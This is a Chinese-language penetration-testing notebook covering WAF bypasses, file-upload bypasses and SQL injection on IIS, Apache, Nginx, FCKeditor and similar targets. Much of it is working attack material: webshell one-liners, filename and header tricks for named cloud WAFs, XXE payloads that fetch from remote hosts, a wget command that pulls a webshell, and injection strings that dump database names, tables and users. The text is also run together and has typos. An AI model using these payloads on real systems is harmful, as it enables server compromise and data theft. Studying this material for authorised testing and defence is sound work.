1)%u特性: iis支持對unicode的解析,如:payload為[s%u006c%u0006ect],解析出來后則是[select]%u0061nd 1=1另類%u特性: unicode在iis解析之后會被轉換成multibyte,但是轉換的過程中可能出現:多個widechar可能會轉換為同一個字符。如:select中的e對應的unicode為%u0065,但是%u00f0同樣會被轉換成為e s%u00f0lectiis+asp2)%特性: union selec%t user fr%om dd #iis+asp asp+iis環境下會忽略掉百分號,如:payload為[sele%ct], 解析出來后則是[select]3)asp/asp.net在解析請求的時候,允許Content-Type: application/x-www-form-urlencoded的數據提交方式select%201%20from%20userasp/asp.net request解析: 4)在asp和asp.net中獲取用戶的提交的參數一般使用request包,當使用request(‘id’)的形式獲取包的時候,會出現GET,POST分不清的情況,譬如可以構造一個請求包,METHOD為GET,但是包中還帶有POST的內容和POST的content-type, 換一種理解方式也就是將原本的post數據包的method改成GET,如果使用request(‘id’)方式獲取數據,仍會獲取到post的內容php+apache畸形的boundary:
php在解析multipart data的時候有自己的特性,對于boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為—-aaaa,123456,php解析的時候只識別了—-aaaa,后面的內容均沒有識別。然而其他的如WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現BYPASS
畸形method(header頭中)
某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容。如請求的method名為DOTA,依然會返回GET方法的值,即,可以任意替換GET方法為其它值,但仍能有效工作,但如果waf嚴格按照GET方法取值,則取不到任何內容
參考文章:
https://xz.aliyun.com/t/2418文件名覆蓋繞過
參考文章:
文件名回車
Content-Disposition: form-data; name=img"; filename="img.ph p"遺漏文件名
當AF遇到"name=" myfile";"時,認為沒有解析到 filename。而后端容器繼續解析到的文件名是t3jsp,導致WAF被繞過
content-Disposition: form-data; name="myfile";; filename="t3. jsp"其他類型繞過
以下均某一漏洞類型為例,具體皆可應用于XSS、SQL注入、命令執行等漏洞
參數繞過
PHP
?%20value=payloadASP
?%value=payload ?%}9value=payload參數溢出
?id=111111111111111111111 (長很長) and 1=1 ?id=1111111111 union %23xxxxxxxxxxxxx (很長很長) xxxx%0d select 等參數截斷
http://example.com/file%00.txtHPP HTTP參數污染/拼接繞過
(以Mysql為例)
?id=123+union+select+1,2,3+from+table?id=123+union+select+1&id=2,3+from+table?id=123+union+select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users id=select/*,*/.............這是中間件與參數拼接的關系圖
HPF HTTP分割注繞過
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)
舉例:
看罷上面兩個示例,發現和HPP最后一個示例很像,不同之處在于參數不一樣,這里是在不同的參數之間進行分割,到了數據庫執行查詢時再合并語句
參考文章:
https://zhuanlan.zhihu.com/p/79356937最后另類繞過合集
路徑系列:
?path=/path/././././blah/blah/blah/../../../vuln.php/path: /vuln. php?value=PAYLOAD /path/;lol=lol/vuln. php?value=PAYLOAD /path/vuln.php/lolol?value=PAYLOAD /path/vuln.php;lol=lol?value=PAYLOAD編碼繞過
URL Encode - %27 Double URL Encode - %2527 UTF-8 (2 byte) - %c0%a7 UTF-8 (JAVA) - \ uc0a7 HTML Entity - &apos;HTML Entity Number - ; Decimal - $#39Unicode URL Encoding - %u0027 Base64 - Jw==iis+asp(x)
%u 特性:
iis支持對unicode的解析,如:payload為 s%u006c%u0006ect,解析出來后則是 select
另類%u特性: unicode在iis解析之后會被轉換成multibyte,但是轉換的過程中可能出現:多個widechar可能會轉換為同一個字符
如: selec中的e對應的unicode為%u0065,但是%u00f0同樣會被轉換成為e
s%u0065lect->select s%u00f0lect->selectWAF層可能能識別s%u0065lect的形式,但是很有可能識別不了s%u00f0lect的形式。這樣就可以利用起來做WAF的繞過
常見三個關鍵字(union+select+from)的測試情況:
s%u0045lect = s%u0065lect = %u00f0lect u --> %u0055 --> %u0075 n -->%u004e --> %u006e i -->%u0049 --> %u0069 o -->%u004f --> %u006f -->%u00ba s -->%u0053 --> %u0073 l -->%u004c --> %u006c e -->%u0045 --> %u0065-->%u00f0 c -->%u0043 --> %u0063 t -->%u0054 -->%u0074 -->%u00de -->%u00fe f -->%u0046 -->%u0066 r -->%u0052 -->%u0072 m -->%u004d -->%u006dasp/asp.net解析請求
asp/asp.net在解析請求的時候,允許Content-Type: application/x-www-form-urlencoded的數據提交方式select%201%20rom%20user
大小寫變化(非WAF,僅過濾繞過)
?id=<sCripT>AleRt(123)</scRIpt> ?id=123 uni0n SeLEcT BaNneR FroM v$vERsIon whERe ROwNUm=1加粗樣式嵌套(非WAF,僅過濾繞過)
另類
?id=1+un/**/ion+sel/**/ect+1,2,3--針對中間分析設備
Get /test HTTP/1.1 > GET test,randkey.yourloggingdomain.com Get /test HTTP/1.1 > GET http://test.randkey.yourloggingdomain.com Get /test HTTP/1.1 > GET @test.randkey.yourloggingdomain.com分析設備拼接后:
host.test.randkey.yourloggingdomain.com參考文章:
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF https://mp.weixin.qq.com/s/e1jy-DFOSROmSvvzX_Ge5g2.2.5 登錄口JS前端加密繞過
概述
滲透測試過程中遇到web登錄的時候,現在很多場景賬號密碼都是經過js加密之后再請求發送(通過抓包可以看到加密信息)如圖一burp抓到的包,request的post的登錄包,很明顯可以看到password參數的值是經過前端加密之后再進行傳輸的,遇到這種情況,普通發包的爆破腳本就很難爆破成功。鑒于這種情況,這邊分析四種方式進行繞過加密爆破
參考文章:大概能分為以下四種方法
我將幾種方法口語化簡述下:
1)既然是前端s加密,代碼我們都能看得到,我們搭個服務器,每次發包前,把要發送的加密參數用服務器加密一遍,我們再把加密后的參數發送過去,這樣相當于本地還原了加密過程
2)利用selenium webdriver等完全模擬人工輸入,字典也可以自定義,不過需要自己寫腳本而已,這種方法比較萬能
3)這種方法適合有js功底的同學,首先把他的js加密過程跟方法看懂,然后本地簡化或者用其他語言模擬他的加密過程,再自己寫腳本去跑,或者生成加密后的字典直接burp去跑即可
4)前人栽樹,后人乘涼,cony1老哥為了方便后輩,寫了一款burp插件, https://github.com/c0ny1/jsENcrypter,名為jsEncrypter,簡單來說就是把1,3點結合了一下,用插件方便地跑起來
jsEncrypter安裝與本地測試 (dayu-Sixth day)
這里重點介紹第四種方法
1)首先得安裝 maven,mac下直接 brew install maven
安裝連接:
https://www.runoob.com/maven/maven-setup.html
按照文檔三種系統都有安裝方法
1)安裝好maven后,把jsEncrypter git clone回來或者下載回來解壓縮,然后在他的文件夾下,打開cmd窗口,然后運行mvn package,就可以把插件編譯成型,編譯好后會多出一個target文件夾
命令:mvn package
這里不演示下去了…詳細的查看文章…
https://fucker-shamo.github.io/2019/08/04/登陸口js前端加密繞過/中間復現會遇到的一些問題:
安裝phantomJS環境變量參考:https://blog.csdn.net/xc_zhou/article/details/80700640
參考鏈接:
http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/ https://www.freebuf.com/articles/web/184455.html https://bbs.ichunqiu.com/thread-42457-1-3.html http://gv7.me/articles/2017/jsEncrypter/ https://www.freebuf.com/articles/web/127888.html https://www.cnblogs.com/xiaozi/p/9158988.html2.2.6 XMLDecoder 標簽、POC
詳細介紹以下內容:
標簽類型:
1)java
2)array
3)class
4)object
5)void
6)new
7)field
8)method
9)property
10)byte
11)其余數據類型
XML的基本語法
XML簡單利用
詳細文章:
https://xz.aliyun.com/t/7944該文章全面的介紹了XMLDecoder遇到的基礎知識…了解后我們開始看下面的CVE解析文章
http://xxlegend.com/tags/XMLDecoder/ --CVE-2019-2725、Weblogic XMLDecoder RCE分析 https://payloads.info/2020/07/01/Java安全-反序列化篇-XMLDecoder到Weblogic幾個補丁的繞過分析/ 文章非常詳細的POC2.2.7 phpMyAdmin去getshell
前言
在學習sql語句之前,拿到phpmyadmin弱口令登錄到后臺卻不知道怎么利用,學習之后卻有了新的想法利用phpMyadmin getshello接下去來驗證自己的猜想
phpMyAdmin的簡介
phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在于由于phpMyAdmin跟其他PHP程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是于遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。也可借由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性。
詳細文章:
https://xz.aliyun.com/t/3283 https://my.oschina.net/u/4196756/blog/4408564 --近期最新文章復現講解 https://zhuanlan.zhihu.com/p/259573662.2.8 攻擊JWT的一些方法
詳細文章:
該文章中REF有詳細鏈接,以及針對JWT的爆破密匙工具c-jwt-cracker也有詳細鏈接介紹等
2.2.9 上傳漏洞
上傳技巧
大小寫混淆%00截斷 上傳.htaccess分布式部署文件 圖片文件頭:47 49 46 38 39 61 (gif)、FF D8 FF E0 00 10 4A 46 49 46 (jpg) 、89 50 4E 47 (png) 其他解析格式:cer、asa、php4、php3、php5、phtml、jspx修改(Content-type)MIME 目錄回溯符 filename="../backdoor. php"編輯器漏洞
百度編輯器 Ueditor
controller.ashx?action=catchimageFCKeditor
查看版本
/fckeditor/editor/dialog/fck_about.html /fckeditor/_Whatsnew.html上傳頁面
常用的上傳地址:
參考文章:
https://cloud.tencent.com/developer/news/210677上傳的思路
Version 2.2 版本
Apache+linux 環境下在上傳文件后面加個.突破!測試通過
Version <=2.4.2 For php
在處理PHP 上傳的地方并未對Media 類型進行上傳文件類型的控制,導致用戶上傳任意文件!將以下保存為html文件,修改action地址
<form id="frmUpload" enctype="multipart/form-data" action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form>FCKeditor 文件上傳.變_下劃線的繞過方法
很多時候上傳的文件例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化
提交shell.php+空格繞過,不過空格只支持win 系統 *nix 是不支持的[shell.php 和shell.php+空格是2 個不同的文件 未測試
繼續上傳同名文件可變為shell.php;(1).jpg 也可以新建一個文件夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制
Version 2.4.1 測試通過
修改CurrentFolder 參數使用 …/…/ 來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp根據返回的XML 信息可以查看網站所有的目錄
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F也可以直接瀏覽盤符:
JSP 版本:
Fckeditor 2.0 <= 2.2
允許上傳asa、cer、php2、php4、inc、pwml、pht 后綴的文件上傳后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension為后綴.直接導致在windows下在上傳文件后面加個.來突破(這里點點很重要)
而在apache 下,因為"Apache 文件名解析缺陷漏洞"也可以利用之,另建議其他上傳漏洞中定義TYPE 變量時使用File 類別來上傳文件,根據FCKeditor 的代碼,其限制最為狹隘
在上傳時遇見可直接上傳腳本文件固然很好,但有些版本可能無法直接上傳可以利用在文件名后面加.點或空格繞過,也可以利用iis6 解析漏洞建立xxx.asp文件夾或者上傳xx.asp;.jpg
參考文章:
https://www.cnblogs.com/zpchcbd/p/11745119.htmlKindEditor
上傳頁面
kindeditor/asp/upload_json.asp?dir=filekindeditor/asp.net/upload_json.ashx?dir=filekindeditor/jsp/upload_json.jsp?dir=filekindeditor/php/upload_json.php?dir=file上傳思路
kindeditor<=4.1.5
參考文章:
https://www.sinesafe.com/article/20190510/Kindeditor.html https://www.freebuf.com/column/202148.html --上傳思路2.2.9.1 上傳漏洞總結
上傳總結
概要說明
文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務器權限最快最直接
Asp一句話 :
<%eval request(“kkk”)%> kkkPhp一句話:
<?php eval($_POST[666]);?> 666Aspx一句話:
<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>Jsp一句話:
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>參考一句話:
https://my.oschina.net/u/4373914/blog/3467075服務端的上傳驗證
1)白名單驗證定義允許上傳的后綴類型,除此所有后緩都不允許
2)黑名單驗證
定義不允許上傳的后綴類型,除此之類其他后綴都可以上傳
定義不允許上傳的后綴:
asp、aspx、asa、cer、cdx、ash【突破方法】
未重命名可以配合解析漏洞(很少)
可以用cer達到繞過效果
如果未用轉換函數強制轉換后綴為小寫(ASP)
特殊后綴達到效果可利用ashx來生成一句話
.htaccess來實現后綴引導。上傳jpg可以解析成腳本,具體在內容定義
3)文件頭驗證
4)文件類型驗證
例如可以把php的文件類型改成正常的圖片類型
5)文件后綴驗證
典型的白名單驗證,指定上傳后綴必須為jpg、JPG、jpeg、JPEG
類似圖吧…
6)js前端驗證
Js在前端定義了允許上傳的后綴類型
【突破方法】直接在前端修改或添加后綴,找不到就搜索圖片后綴如jpg
上傳繞過姿勢
服務器解析漏洞(IIS5.x-6.x Apache Nginx IIS7.0/7.5)
1)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服務器,大多為windows server 2003,網站比較古老,開發語句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。
目錄解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp,.asa目錄下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服務器默認不解析;號后面的內容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件類型
IIS6.0 默認的可執行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
修復方案
禁止用戶控制文件上傳目錄,新建目錄等權限 上傳目錄與用戶新建的目錄禁止執行 上傳的文件重命名,不保留用戶上傳文件的后綴 禁止asa、asp、cer、cdx等后綴的文件上傳2)Apache解析漏洞
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如 test.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣能以 php方式執行
一個文件名為xxxx1.2x.x3的文件(例如: Index.php.fuck),Apache會從x3的位置往×1的位置開嘗試解析,如果x3不屬于 Apache能解析的擴展名,那么 Apache會嘗試去解析×2的位置,這樣一直往前嘗試,直到遇到一個能解析的擴展名為止
WampServer2.0AllVersion(WampServer2.0i/Apache2 2.11) Wamp Server2.1AllVersion(Wamp Server2.1e-X32/Apache2 2.17) Wamp5AllVersion(Wamp5_1.7.4/Apache2 2.6) AppServ2.4All Version(AppServ-2.4.9/Apache2.0.59) AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8) AppServ2.6AllVersion(AppServ-2.6.0/Apache 2.2.8)以上集成環境都存在擴展名解析順序漏洞,并且這些環境都存在對ρhp3文件按照php來解析這個小洞。該方法針對黑名單不全時,能夠繞過
總結存在該漏洞的 Apache版本:
Apache2.0.x<=2.0.59 Apache2.2.X<=2.2.173)nginx 解析漏洞
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nqinx配置文件中通過正則匹配設置SCRIPT_FILENAME,當訪問www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi.script_name會被設置為"phpinfo.jpg/1.php”,然后構造成SCRIPT_FILENAME傳遞給 PHP CGI,但是PHP為什么會接受這樣的參數,并將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfoi這個選項了
如果開啟了這個選項,那么就會觸發在PHP中的如下邏輯:
PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP文件來解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.phpwww.xxxx.com/UploadFiles/image/1.jpg%o00.phpwww.xxxx.com/UploadFIles/image/1.jpg/%20\0.php4)IIS7.5 解析漏洞
IS7.0/7.5是對php解析時有一個類似于Nginx的解析漏洞,對任意文件名只要在URL后面追加上字符串"/任意文件名.php"”就會按照php的方式去解析(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IlS的解析漏洞不像Apache那么模糊,針對IIS6.0,只要文件名不被重命名基本都能搞定。這里要注意一點,對于"任意文件名/任意文件名.php"這個漏洞其實是出現自php-cgi的漏洞,所以其實跟IIS自身是無關的
文件擴展名繞過(asp、aspx、php、jsp)
1)asp
#IIS 5.0/6.0
#文件解析
.asp;.jpg .asp.jpg .asp;jpg#目錄解析
.asp/1.jpg#大小寫繞過
asPx#截斷
1.asp%00.jpg#空格繞過
1.asp .jpg1.asp_.jpg (_代替空格,只在windows下有效,因為windows系統自動去掉不符合規則符號后面的內容)#黑名單繞過(替代asp):
IIS6.0 默認的可執行文件除了asp還包含這三種:
#IIS put 上傳
#asaspp
#filename換位置放到content-type 的下一行
#+1.asp;+2.jpg
#雙文件上傳
#RTOL
2)aspx
#IIS 5.0/6.0
#文件解析
.aspx;.jpg .aspx.jpg .aspx;jpg#目錄解析
.aspx/1.jpg#大小寫繞過
asPx#截斷
1.aspx%00.jpg#空格繞過
1.aspx.jpg1.aspx_.jpg (_代替空格,只在windows下有效,因為windows系統自動去掉不符合規則符號后面的內容)#黑名單繞過(替代asp):
IIS6.0 默認的可執行文件除了asp還包含這三種:
#IIS put 上傳
#asaspp
#filename換位置放到content-type 的下一行
#+1.aspx;+2.jpg
#asaspxpx
#雙文件上傳
#RTLO
3)php
#大小寫
#黑名單繞過(替代php):
php1php2php3php4php5#空格繞過(只有在windows下有效,因為windows系統自動去掉不符合規則符號后面的內容)
1.php .1.php.1.php. .1.php .jpg1.php_.jpg (_代替空格)1.php.jpg1.php jpg1.php. .jpg111.php&,#x2e;jpg#十六進制繞過 點繞過
1.php.jpg#解析漏洞
1.jpg/.php (nginx)1.php.123 (apache)1.jpg/php1.jpg/1.php1.jpg%00.php#截斷
1.php%00.jpg#利用不符合windows文件命名規則繞過
1.php:1.jpg1.php::$DATA1.php::DATA......#回車
1.ph回車p#上傳 .htaccess:(僅在Apache,例如a_php.gif,會被當成php執行)
.htaccess內容
<FilesMatch "_php.gif"> Sethandlerapplication/x-httpd-php</FilesMatch>#IIS put上傳
#文件包含waf(見6、文件包含繞過)
4)jsp
#兩個jsp包含中間的jpg
#黑名單繞過(替代jsp):
jspa ]sps jspx jspf#put上傳(Apache Tomcat 7.0.0 - 7.0.81)
%20 Put /test1.jsp%20 HTTP/1.1 ::$DATA Put /test2.jsp: : SdatA Http/1.1 Put /test3. isp/ Http/1.1 Put/test3.jsp.http:/1.1Content-Disposition、content-type、文件內容檢測、雙文件
1)Content-Disposition
將form-data; 修改為-form-data 替換form-data 為* 即: Content-Disposit 將form-data;name="file"; 分號后面 增加或減少一個空格 將Content-Disposition:form-data 冒號后面 增加或減少一個空格 將Content-Disposition 修改為content-Dispositionfilename回車="1.php" (過阿里云waf) filename="1.php回車" (過百度云waf) filename="1.jpg";filename="1.php" 雙參數 多個Content-Dispostion參考鏈接:https://www.secpulse.com/archives/117827.html
2)Content-Type
php: application/octet-stream
將Content-Type修改為image/gif,或者其他允許的類型。 或者刪除整行! 刪除掉ontent-Typ:image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.p 將 Content-Type 修改為 content-Type 將 Content-Type:application/octet-stream 冒號后面 增加一個空格3)文件內容
傳圖馬
4)雙文件
客戶端檢測(JavaScript檢測)(dayu-Seventh day)
這類檢測,通常是在上傳頁面里含有專門檢測文件上傳的JavaScript代碼,最常見的就是檢測擴展名是否合法,示例代碼如下:
function check() {var filename = document.getElementById("file");var str = filename.value.split(".");var ext = str[str.length-1];if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){return true;}else{alert("僅允許上傳png/jpeg/gif類型的文件!")return false;}return false; }判斷該類檢測的方法:選擇一個禁止上傳類型的文件上傳,當點擊確定按鈕之后,瀏覽器立即彈窗提示禁止上傳,一般就可以斷定為客戶端JavaScript檢測,進一步確定可以通過配置瀏覽器HTTP代理(沒有流量經過代理就可以證明是客戶端JavaScript檢測)。
繞過方法:
上傳頁面,審查元素,修改JavaScript檢測函數;
將需要上傳的惡意代碼文件類型改為允許上傳的類型,例如將dama.asp改為dama.jpg上傳,配置Burp Suite代理進行抓包,然后再將文件名dama.jpg改為dama.asp。
上傳webshell.jpg.jsp,可能前端程序檢查后綴時,從前面開始檢查。
參考文章:
https://masterxsec.github.io/2017/04/26/文件上傳總結/WAF繞過(阿里云、安全狗、百度云、云鎖)
1、阿里云WAF繞過
Content-Disposition:form-data;name="upload"; filename==="11111 .php" $x=$_get[×];'$X' 執行xxx.com?x=wget github的php大馬地址參考鏈接:
https://www.t00ls.net/articles-51341.html --信息過于敏感,已被刪除 https://www.xj.hk/thread-1786.htm ---需要論壇用戶密碼可觀看2、安全狗
1)===繞過
Content-Disposition:form-data;name="upload";filename==="11111.php"2)去除""繞過
Content-Disposition:form-data;name="upload"; filename=11111.php3)少"繞過
Content-Disposition:form-data,name="upload"; filename="11111.php參考鏈接:
https://www.t00ls.net/articles-51253.html ---已被刪除,過于敏感 https://xz.aliyun.com/t/8000 --可復現3、百度云
百度云繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"或者文件名.php回車,這樣引號就在另一行,同時上傳內容的一句話前面加個中文字符
https://www.cnblogs.com/bmjoker/p/9141322.html4、云鎖
Content-Disposition:form-data;name="up_picture"; filename="yjh.c.php
另外復現參考文章:
實戰分析
1、通過上傳zip模板后服務器自解壓獲取webshell
https://4hou.win/wordpress/?cat=20352、黑名單繞過之文件名可控
復現:
3、高并發繞過上傳總結
upload-labs靶場有環境
https://www.cnblogs.com/aq-ry/p/10063913.html ---安裝upload-labs包含了大多數文件上傳類型,一個包含幾乎所有類型上傳類型的靶機,值得學習!!
4、跨目錄上傳繞過waf
訪問aspx馬
https://xz.aliyun.com/t/7860或者利用…/跳到上層目錄,shell傳到上層,執行即可…
upload-labs過關
這臺靶機很舒服,文件上傳的各種騷操作基本都能實現
1、前端 2、修改content-type為image/gif3、黑名單:php3,phtml4、黑名單:上傳.htaccess5、黑名單:大小寫phP 6、黑名單:空格7、黑名單:點8、黑名單:::$DATA 9、黑名單:info.php.. (點+空格+點) 10、黑名單:雙寫11、白名單:get型%00截斷 12、白名單:post型%00截斷,url解碼13、上傳圖片馬,配合包含漏洞14、條件競爭根據14個條件,開始打upload-labs靶機吧…
造洞
文件上傳漏洞:↓
html文件:造出一個xss漏洞 swf文件:造出一個xss漏洞 svg文件:造出一個xss漏洞 pdf文件:造出一個XSS漏洞和URL跳轉漏洞 exe文件:釣魚 mp4,avi文件:ssrf漏洞 任意后綴文件,只要文件內容為xxe: shtm1文件:ssi命令執行 xlsx:xxe漏洞這里舉幾個例子:
1、svg文件
1.svg
2、swf文件
http://127.0.0.1/swfupload.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{windows.....%29//3、任意文件后綴,只要內容是xxe內容
XXE代碼:
#EXTM3U #EXT-X-MEDIA-SEQUENCE: 0 #EXTINF: 10.0, conca:http://vps_ip:VPS_PORT/header.m3u8 #EXT-X-ENDLIST讀取文件payload
4、shtml文件 ssi命令執行
命令參考鏈接:
https://www.secpulse.com/archives/66934.html5、xlsx文件 XXE
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM ' http://test.joychou.me:8081/evil.xlsx">%remote;]><root/> https://www.redhatzone.com/ask/article/1359.html --另外思路Xlsx文件構造:
1、新建一個xlsx文件 2、修改后綴為.zip,并解壓 3、打開[Content_Types].xm1,在頭部加入xxe payload 4、重新壓縮當前文件夾為zip,之后修改后綴為xlsx 5、在上傳點上傳改文件,上傳后服務器自動打開文件,觸發xxe6、Dnslog平臺查看結果2.2.10 注入漏洞
類型:
數據庫種類:Access注入,Mysql注入,Mysql注入,Oracle注入注入點:GET注入,POST注入,Cookie注入 (ua注入) 注入點類型:數字型注入,字符型注入,搜索型注入注入種類:聯合注入,盲注(布爾,時間,報錯)Access注入
https://www.jianshu.com/p/ace43a7a331eMSSQL注入
POC:↓
查詢版本
查詢權限
1' and user>0--數據庫
1' and db_name()>0-- 6csfx1' and (SELECT top 1 Name FROM Master.. SysDatabases)>0-- masterand 1=(select name from master.dbo.sysdatabases where dbid=1)-- //暴庫名DBID為1,2,3....and 1=(select name from master.dbo.sysdatabases where dbid=2)-- tempdband 1=(select name from master.dbo.sysdatabases where dbid=3)-- modeland 1=(select name from master.dbo.sysdatabases where dbid=4)-- msdband 1=(select name from master.dbo.sysdatabases where dbid=5)-- ReporServer . . . . . . and 1=(select name from master.dbo.sysdatabases where dbid=12).... . . .簡單的列舉,其余就不列舉了,按照長度不同可以自行測試,后面會詳細介紹
表
1' And (sElect Top 1 name from sysobjects where xtype=0x55)>0-- Users列
' SELECT * FROM Users HAVING 1=1-- Users.pkId值
' And (sElect Top 1 UserName from Users)>0-- default' and 1=convert(int,(SELECT TOP 1 User Name FROM Users WHERE ID NOT IN('1')))--MYSQL注入
https://blog.csdn.net/weixin_45728976/article/details/103932264Mysql5.0以下
同理Access注入類似Mysql5.0以上注入
order by解釋
union解釋
#檢測:
http://demo.sqli.com/Less-1/?id=1'select username, password from security.users where id = '1' limit o, 1;#列數:
http://demo.sqli.com/Less-1/?id=1' order by 3 %23select username, password from security.users where id = '1' order by 3 %23 ' limit#聯合查詢
http://demo.sqli.com/Less-1/?id=1' union select 1,2,3 %23#爆顯位
http://demo.sqli.com/Less-1/?id=-1' union select 1,2,3 %23#獲取用戶名
http://demo.sqli.com/Less-1/?id=-1' union select 1,user(),3 %23#獲取數據庫名
http://demo.sqli.com/Less-1/?id=-1' union select 1,database(),3 %23#獲取表名
http://demo.sqli.com/Less-1/?id=-1' union select 1,group_concat(table_name),3 form information_schema.tables where table_schema =database()#獲取列表名
http://demo.sqli.com/Less-1/?id=-1' union select 1,group_concat(column_name),3 form information_schema.columns where table_name ='users'#獲取數據
http://demo.sqli.com/Less-1/?id=-1' union select 1,group_concat(user_name),group_concat(password) from users參考:https://www.jianshu.com/p/5e8a65771641
少見的注入點
搜索框注入
輸入1’,對語法錯誤進行判斷,注入即可
其他點注入
Client-IP User-Agent https://blog.csdn.net/weixin_45146120/article/details/100588267 --參考文章盲注
何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇后,選擇的數據不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注
延時注入是主要針對頁面無變化、無法用布爾真假判斷、無法報錯的情況下的注入技術
報錯注入構造payload讓信息通過錯誤提示回顯出來
1、布爾盲注
https://www.jianshu.com/p/f0174ea6c69d2、時間盲注
https://www.jianshu.com/p/0d607589e3ad3、報錯注入
https://xz.aliyun.com/t/253 http://aiyuanzhen.com/index.php/archives/34/ https://www.jianshu.com/p/bc35f8dd4f7c --12種報錯注入Sqlmap
os-shell Mysql
注入點恰巧又是root權限,這時你就可以直接嘗試往目標的網站目錄里面寫webshell,但還是有個前提,secure_file_priv為空
遇到這種去情況時,如果上傳不成功,有三種原因:
1)mysql高版本的安全模式,secure_file_piv的值為null
2)secure_file_priv指定了某個目錄才可以上傳,根目錄不允許上傳,那么可以嘗試往upload目錄
往upload等其他目錄上傳,不要往根目錄上傳即可3)secure_file_priv的值為空或者指定了某個目錄,但是上傳后的文件為空,沒有內容寫進去
https://zhuanlan.zhihu.com/p/58007573或者手動寫入https://xz.aliyun.com/t/7416–os-shell MSSQL
輸入: os-shell> for /r C: %i in (*xxx*) do @echo %i https://xz.aliyun.com/t/7942導入導出
#SELECT INTO OUTFILE 導入,寫入文件
https://ivanzz1001.github.io/records/post/database/2018/10/19/mysql-basis_part18#load_file 導出,讀取文件
https://www.xcnte.com/archives/512/如果讀取不出來,則將讀取的內容寫入到當前web目錄里,后綴為txt,然后訪問
參考該思路…
總結
%5c,%bf',單引號,雙引號,反斜杠,負數,特殊字符,and,or,xor探測是否存在注入!!! 注意:(-- )一定要在注釋符號后加空格,或者URL編碼后的空格(%20),否則注釋符號不會產生作用 注釋符# --+交替用,一個不行,就另一個 1)先判斷是數字型還是字符型,如果判斷不出來跳到9 2)接著判斷有沒有括號 3)最后面跟上--+注釋符 4)order by判斷字段數,如果沒法判斷,則直接union select 1,2,3一個個測試過去5)如果返回的頁面發生變化,則聯合查詢6)如果union select 1,version(),3返回的頁面沒有發生變化,即聯合查詢失敗,則嘗試報錯注入 7)如果報錯注入頁面也沒有把信息顯示出來,則進行延時注入 8)如果延時注入也不行,則導入導出 9)嘗試延時注入,如果從1過來的,則三種情況,直接跟payload,參數后面加單引號或者雙引號Payload
數字型:–+或者#
or 1=1or 1=1 --+)or 1=1--+/***/or/***/2/***/like/***/1-- 用/***/替換空格,用like替換= 具體案例看漏洞字符型:–+或者#
' or '1'='1' or 1=1 --+' ) or 1=1 --+ ‘))or 1=1 --+" or "1"="1 " or 1=1 --+ ") or 1=1 --+ "))or 1=1 --+其他函數:
or rpad('',1, user())和or Ipad('',1,user())="r"偽靜態:使用%5c,%5c是\的url編碼
